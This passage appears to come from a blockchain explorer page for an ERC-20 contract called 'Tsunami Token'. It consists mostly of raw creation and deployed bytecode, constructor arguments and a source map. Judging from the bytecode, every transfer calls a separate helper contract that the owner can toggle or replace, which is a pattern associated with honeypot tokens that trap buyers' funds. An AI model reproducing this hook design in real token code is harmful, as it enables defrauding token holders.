9250565b6000806040838503121561178b5761178a611522565b5b60006117998582860161153e565b92505060206117aa8582860161153e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117fb57607f821691505b6020821081141561180f5761180e6117b4565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611871602883611472565b915061187c82611815565b604082019050919050565b600060208201905081810360008301526118a081611864565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118e182611553565b91506118ec83611553565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611921576119206118a7565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611988602583611472565b91506119938261192c565b604082019050919050565b600060208201905081810360008301526119b78161197b565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a1a602683611472565b9150611a25826119be565b604082019050919050565b60006020820190508181036000830152611a4981611a0d565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611aa757808604811115611a8357611a826118a7565b5b6001851615611a925780820291505b8081029050611aa085611a50565b9450611a67565b94509492505050565b600082611ac05760019050611b7c565b81611ace5760009050611b7c565b8160018114611ae45760028114611aee57611b1d565b6001915050611b7c565b60ff841115611b0057611aff6118a7565b5b8360020a915084821115611b1757611b166118a7565b5b50611b7c565b5060208310610133831016604e8410600b8410161715611b525782820a905083811115611b4d57611b4c6118a7565b5b611b7c565b611b5f8484846001611a5d565b92509050818404811115611b7657611b756118a7565b5b81810290505b9392505050565b6000611b8e82611553565b9150611b998361167c565b9250611bc67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ab0565b905092915050565b6000611bd982611553565b9150611be483611553565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c1d57611c1c6118a7565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c5e602083611472565b9150611c6982611c28565b602082019050919050565b60006020820190508181036000830152611c8d81611c51565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611cf0602483611472565b9150611cfb82611c94565b604082019050919050565b60006020820190508181036000830152611d1f81611ce3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d82602283611472565b9150611d8d82611d26565b604082019050919050565b60006020820190508181036000830152611db181611d75565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611dee601b83611472565b9150611df982611db8565b602082019050919050565b60006020820190508181036000830152611e1d81611de1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e80602583611472565b9150611e8b82611e24565b604082019050919050565b60006020820190508181036000830152611eaf81611e73565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f12602383611472565b9150611f1d82611eb6565b604082019050919050565b60006020820190508181036000830152611f4181611f05565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611fa4602683611472565b9150611faf82611f48565b604082019050919050565b60006020820190508181036000830152611fd381611f97565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612036602183611472565b915061204182611fda565b604082019050919050565b6000602082019050818103600083015261206581612029565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006120c8602283611472565b91506120d38261206c565b604082019050919050565b600060208201905081810360008301526120f7816120bb565b9050919050565b600061210982611553565b915061211483611553565b925082821015612127576121266118a7565b5b828203905092915050565b6000606082019050612147600083018661143d565b612154602083018561143d565b61216160408301846115ff565b949350505050565b612172816115c9565b811461217d57600080fd5b50565b60008151905061218f81612169565b92915050565b6000602082840312156121ab576121aa611522565b5b60006121b984828501612180565b9150509291505056fe608060405234801561001057600080fd5b50610245806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063e1f21c6714610030575b600080fd5b61004a60048036038101906100459190610186565b610060565b60405161005791906101f4565b60405180910390f35b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061011d826100f2565b9050919050565b61012d81610112565b811461013857600080fd5b50565b60008135905061014a81610124565b92915050565b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60008060006060848603121561019f5761019e6100ed565b5b60006101ad8682870161013b565b93505060206101be8682870161013b565b92505060406101cf86828701610171565b9150509250925092565b60008115159050919050565b6101ee816101d9565b82525050565b600060208201905061020960008301846101e5565b9291505056fea26469706673582212201fe7c461d4ef7259ed14f38527bcd41a5fef506642efc4e123f346fa933548d364736f6c63430008090033a2646970667358221220049a8c7fb653bae1f010a4aaee3f5cdba255be0800627fed03f861bba3a70e2064736f6c63430008090033608060405234801561001057600080fd5b50610245806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063e1f21c6714610030575b600080fd5b61004a60048036038101906100459190610186565b610060565b60405161005791906101f4565b60405180910390f35b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061011d826100f2565b9050919050565b61012d81610112565b811461013857600080fd5b50565b60008135905061014a81610124565b92915050565b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60008060006060848603121561019f5761019e6100ed565b5b60006101ad8682870161013b565b93505060206101be8682870161013b565b92505060406101cf86828701610171565b9150509250925092565b60008115159050919050565b6101ee816101d9565b82525050565b600060208201905061020960008301846101e5565b9291505056fea26469706673582212201fe7c461d4ef7259ed14f38527bcd41a5fef506642efc4e123f346fa933548d364736f6c63430008090033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000003e07824fa723264592fc58e01c47f2ccbfc10c000000000000000000000000000000000000000000000000000000000000000d5473756e616d6920546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000075453554e414d4900000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610323578063bbb9697614610353578063dd62ed3e1461036f578063f2fde38b1461039f578063fb86a404146103bb5761012c565b8063715018a6146102a357806375150e01146102ad5780638da5cb5b146102b757806395d89b41146102d5578063a457c2d7146102f35761012c565b8063313ce567116100f4578063313ce567146101eb578063395093511461020957806342966c68146102395780636ddd17131461025557806370a08231146102735761012c565b80630525be511461013157806306fdde031461014f578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103d9565b604051610146919061144c565b60405180910390f35b61015761040b565b6040516101649190611500565b60405180910390f35b61018760048036038101906101829190611589565b61049d565b60405161019491906115e4565b60405180910390f35b6101a56104bb565b6040516101b2919061160e565b60405180910390f35b6101d560048036038101906101d09190611629565b6104c5565b6040516101e291906115e4565b60405180910390f35b6101f36105bd565b6040516102009190611698565b60405180910390f35b610223600480360381019061021e9190611589565b6105c6565b60405161023091906115e4565b60405180910390f35b610253600480360381019061024e91906116b3565b610672565b005b61025d610686565b60405161026a91906115e4565b60405180910390f35b61028d600480360381019061028891906116e0565b610699565b60405161029a919061160e565b60405180910390f35b6102ab6106e2565b005b6102b56106f6565b005b6102bf61072a565b6040516102cc919061144c565b60405180910390f35b6102dd610753565b6040516102ea9190611500565b60405180910390f35b61030d60048036038101906103089190611589565b6107e5565b60405161031a91906115e4565b60405180910390f35b61033d60048036038101906103389190611589565b6108d0565b60405161034a91906115e4565b60405180910390f35b61036d6004803603810190610368919061170d565b6108ee565b005b61038960048036038101906103849190611774565b6109d2565b604051610396919061160e565b60405180910390f35b6103b960048036038101906103b491906116e0565b610a59565b005b6103c3610add565b6040516103d0919061160e565b60405180910390f35b60006103e3610afe565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461041a906117e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610446906117e3565b80156104935780601f1061046857610100808354040283529160200191610493565b820191906000526020600020905b81548152906001019060200180831161047657829003601f168201915b5050505050905090565b60006104b16104aa610b7c565b8484610b84565b6001905092915050565b6000600354905090565b60006104d2848484610d4f565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051d610b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561059d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059490611887565b60405180910390fd5b6105b1856105a9610b7c565b858403610b84565b60019150509392505050565b60006009905090565b60006106686105d3610b7c565b8484600260006105e1610b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461066391906118d6565b610b84565b6001905092915050565b61068361067d610b7c565b8261100c565b50565b600760009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ea610afe565b6106f460006111cd565b565b6106fe610afe565b600760009054906101000a900460ff1615600760006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610762906117e3565b80601f016020809104026020016040519081016040528092919081815260200182805461078e906117e3565b80156107db5780601f106107b0576101008083540402835291602001916107db565b820191906000526020600020905b8154815290600101906020018083116107be57829003601f168201915b5050505050905090565b600080600260006107f4610b7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a89061199e565b60405180910390fd5b6108c56108bc610b7c565b85858403610b84565b600191505092915050565b60006108e46108dd610b7c565b8484610d4f565b6001905092915050565b6108f6610afe565b60011515600760009054906101000a900460ff16151514156109cc5760008211801561094e57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156109615761095c81611291565b6109cb565b60405161096d906113fe565b604051809103906000f080158015610989573d6000803e3d6000fd5b50600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a61610afe565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890611a30565b60405180910390fd5b610ada816111cd565b50565b6009600a610aeb9190611b83565b64e8d4a51000610afb9190611bce565b81565b610b06610b7c565b73ffffffffffffffffffffffffffffffffffffffff16610b2461072a565b73ffffffffffffffffffffffffffffffffffffffff1614610b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7190611c74565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb90611d06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90611d98565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d42919061160e565b60405180910390a3505050565b60008111610d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8990611e04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df990611e96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6990611f28565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef090611fba565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8e91906118d6565b92505081905550610fa08484846112e4565b508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ffe919061160e565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110739061204c565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906120de565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461115b91906120fe565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c0919061160e565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61129a336113a5565b156112e15780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1f21c678686866040518463ffffffff1660e01b815260040161134693929190612132565b602060405180830381600087803b15801561136057600080fd5b505af1158015611374573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113989190612195565b9050809150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b610265806121c383390190565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114368261140b565b9050919050565b6114468161142b565b82525050565b6000602082019050611461600083018461143d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114a1578082015181840152602081019050611486565b838111156114b0576000848401525b50505050565b6000601f19601f8301169050919050565b60006114d282611467565b6114dc8185611472565b93506114ec818560208601611483565b6114f5816114b6565b840191505092915050565b6000602082019050818103600083015261151a81846114c7565b905092915050565b600080fd5b6115308161142b565b811461153b57600080fd5b50565b60008135905061154d81611527565b92915050565b6000819050919050565b61156681611553565b811461157157600080fd5b50565b6000813590506115838161155d565b92915050565b600080604083850312156115a05761159f611522565b5b60006115ae8582860161153e565b92505060206115bf85828601611574565b9150509250929050565b60008115159050919050565b6115de816115c9565b82525050565b60006020820190506115f960008301846115d5565b92915050565b61160881611553565b82525050565b600060208201905061162360008301846115ff565b92915050565b60008060006060848603121561164257611641611522565b5b60006116508682870161153e565b93505060206116618682870161153e565b925050604061167286828701611574565b9150509250925092565b600060ff82169050919050565b6116928161167c565b82525050565b60006020820190506116ad6000830184611689565b92915050565b6000602082840312156116c9576116c8611522565b5b60006116d784828501611574565b91505092915050565b6000602082840312156116f6576116f5611522565b5b60006117048482850161153e565b91505092915050565b6000806000806080858703121561172757611726611522565b5b60006117358782880161153e565b94505060206117468782880161153e565b935050604061175787828801611574565b92505060606117688782880161153e565b91505092959194509250565b6000806040838503121561178b5761178a611522565b5b60006117998582860161153e565b92505060206117aa8582860161153e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117fb57607f821691505b6020821081141561180f5761180e6117b4565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611871602883611472565b915061187c82611815565b604082019050919050565b600060208201905081810360008301526118a081611864565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118e182611553565b91506118ec83611553565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611921576119206118a7565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611988602583611472565b91506119938261192c565b604082019050919050565b600060208201905081810360008301526119b78161197b565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a1a602683611472565b9150611a25826119be565b604082019050919050565b60006020820190508181036000830152611a4981611a0d565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611aa757808604811115611a8357611a826118a7565b5b6001851615611a925780820291505b8081029050611aa085611a50565b9450611a67565b94509492505050565b600082611ac05760019050611b7c565b81611ace5760009050611b7c565b8160018114611ae45760028114611aee57611b1d565b6001915050611b7c565b60ff841115611b0057611aff6118a7565b5b8360020a915084821115611b1757611b166118a7565b5b50611b7c565b5060208310610133831016604e8410600b8410161715611b525782820a905083811115611b4d57611b4c6118a7565b5b611b7c565b611b5f8484846001611a5d565b92509050818404811115611b7657611b756118a7565b5b81810290505b9392505050565b6000611b8e82611553565b9150611b998361167c565b9250611bc67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ab0565b905092915050565b6000611bd982611553565b9150611be483611553565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c1d57611c1c6118a7565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c5e602083611472565b9150611c6982611c28565b602082019050919050565b60006020820190508181036000830152611c8d81611c51565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611cf0602483611472565b9150611cfb82611c94565b604082019050919050565b60006020820190508181036000830152611d1f81611ce3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d82602283611472565b9150611d8d82611d26565b604082019050919050565b60006020820190508181036000830152611db181611d75565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611dee601b83611472565b9150611df982611db8565b602082019050919050565b60006020820190508181036000830152611e1d81611de1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e80602583611472565b9150611e8b82611e24565b604082019050919050565b60006020820190508181036000830152611eaf81611e73565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f12602383611472565b9150611f1d82611eb6565b604082019050919050565b60006020820190508181036000830152611f4181611f05565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611fa4602683611472565b9150611faf82611f48565b604082019050919050565b60006020820190508181036000830152611fd381611f97565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612036602183611472565b915061204182611fda565b604082019050919050565b6000602082019050818103600083015261206581612029565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006120c8602283611472565b91506120d38261206c565b604082019050919050565b600060208201905081810360008301526120f7816120bb565b9050919050565b600061210982611553565b915061211483611553565b925082821015612127576121266118a7565b5b828203905092915050565b6000606082019050612147600083018661143d565b612154602083018561143d565b61216160408301846115ff565b949350505050565b612172816115c9565b811461217d57600080fd5b50565b60008151905061218f81612169565b92915050565b6000602082840312156121ab576121aa611522565b5b60006121b984828501612180565b9150509291505056fe608060405234801561001057600080fd5b50610245806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063e1f21c6714610030575b600080fd5b61004a60048036038101906100459190610186565b610060565b60405161005791906101f4565b60405180910390f35b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061011d826100f2565b9050919050565b61012d81610112565b811461013857600080fd5b50565b60008135905061014a81610124565b92915050565b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60008060006060848603121561019f5761019e6100ed565b5b60006101ad8682870161013b565b93505060206101be8682870161013b565b92505060406101cf86828701610171565b9150509250925092565b60008115159050919050565b6101ee816101d9565b82525050565b600060208201905061020960008301846101e5565b9291505056fea26469706673582212201fe7c461d4ef7259ed14f38527bcd41a5fef506642efc4e123f346fa933548d364736f6c63430008090033a2646970667358221220049a8c7fb653bae1f010a4aaee3f5cdba255be0800627fed03f861bba3a70e2064736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000003e07824fa723264592fc58e01c47f2ccbfc10c000000000000000000000000000000000000000000000000000000000000000d5473756e616d6920546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000075453554e414d4900000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Tsunami Token
Arg [1] : symbol_ (string): TSUNAMI
Arg [2] : _to (address): 0x003e07824fA723264592fC58E01c47F2CCbFc10c
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000003e07824fa723264592fc58e01c47f2ccbfc10c
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [4] : 5473756e616d6920546f6b656e00000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 5453554e414d4900000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
7186:10338:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8074:103;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8284:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10983:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9253:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11507:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9041:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12383:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16406:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7631:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9551:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5880:103;;;:::i;:::-;;17440:81;;;:::i;:::-;;5239:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8803:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12940:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9988:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14734:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10490:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6138:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7541:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8074:103;8127:7;5125:13;:11;:13::i;:::-;8161:7:::1;;;;;;;;;;;8146:23;;8074:103:::0;:::o;8284:100::-;8338:13;8371:5;8364:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8284:100;:::o;10983:184::-;11086:4;11103:34;11112:12;:10;:12::i;:::-;11126:2;11130:6;11103:8;:34::i;:::-;11155:4;11148:11;;10983:184;;;;:::o;9253:108::-;9314:7;9341:12;;9334:19;;9253:108;:::o;11507:529::-;11647:4;11664:36;11674:6;11682:9;11693:6;11664:9;:36::i;:::-;11713:24;11740:11;:19;11752:6;11740:19;;;;;;;;;;;;;;;:33;11760:12;:10;:12::i;:::-;11740:33;;;;;;;;;;;;;;;;11713:60;;11826:6;11806:16;:26;;11784:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;11936:57;11945:6;11953:12;:10;:12::i;:::-;11986:6;11967:16;:25;11936:8;:57::i;:::-;12024:4;12017:11;;;11507:529;;;;;:::o;9041:100::-;9099:5;7533:1;9117:16;;9041:100;:::o;12383:225::-;12491:4;12508:70;12517:12;:10;:12::i;:::-;12531:2;12567:10;12535:11;:25;12547:12;:10;:12::i;:::-;12535:25;;;;;;;;;;;;;;;:29;12561:2;12535:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;12508:8;:70::i;:::-;12596:4;12589:11;;12383:225;;;;:::o;16406:85::-;16456:27;16462:12;:10;:12::i;:::-;16476:6;16456:5;:27::i;:::-;16406:85;:::o;7631:23::-;;;;;;;;;;;;;:::o;9551:143::-;9641:7;9668:9;:18;9678:7;9668:18;;;;;;;;;;;;;;;;9661:25;;9551:143;;;:::o;5880:103::-;5125:13;:11;:13::i;:::-;5945:30:::1;5972:1;5945:18;:30::i;:::-;5880:103::o:0;17440:81::-;5125:13;:11;:13::i;:::-;17502:11:::1;;;;;;;;;;;17501:12;17487:11;;:26;;;;;;;;;;;;;;;;;;17440:81::o:0;5239:87::-;5285:7;5312:6;;;;;;;;;;;5305:13;;5239:87;:::o;8803:104::-;8859:13;8892:7;8885:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8803:104;:::o;12940:460::-;13053:4;13070:24;13097:11;:25;13109:12;:10;:12::i;:::-;13097:25;;;;;;;;;;;;;;;:29;13123:2;13097:29;;;;;;;;;;;;;;;;13070:56;;13179:15;13159:16;:35;;13137:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;13295:62;13304:12;:10;:12::i;:::-;13318:2;13341:15;13322:16;:34;13295:8;:62::i;:::-;13388:4;13381:11;;;12940:460;;;;:::o;9988:200::-;10099:4;10116:42;10126:12;:10;:12::i;:::-;10140:9;10151:6;10116:9;:42::i;:::-;10176:4;10169:11;;9988:200;;;;:::o;14734:313::-;5125:13;:11;:13::i;:::-;14863:4:::1;14850:17;;:11;;;;;;;;;;;:17;;;14847:183;;;14891: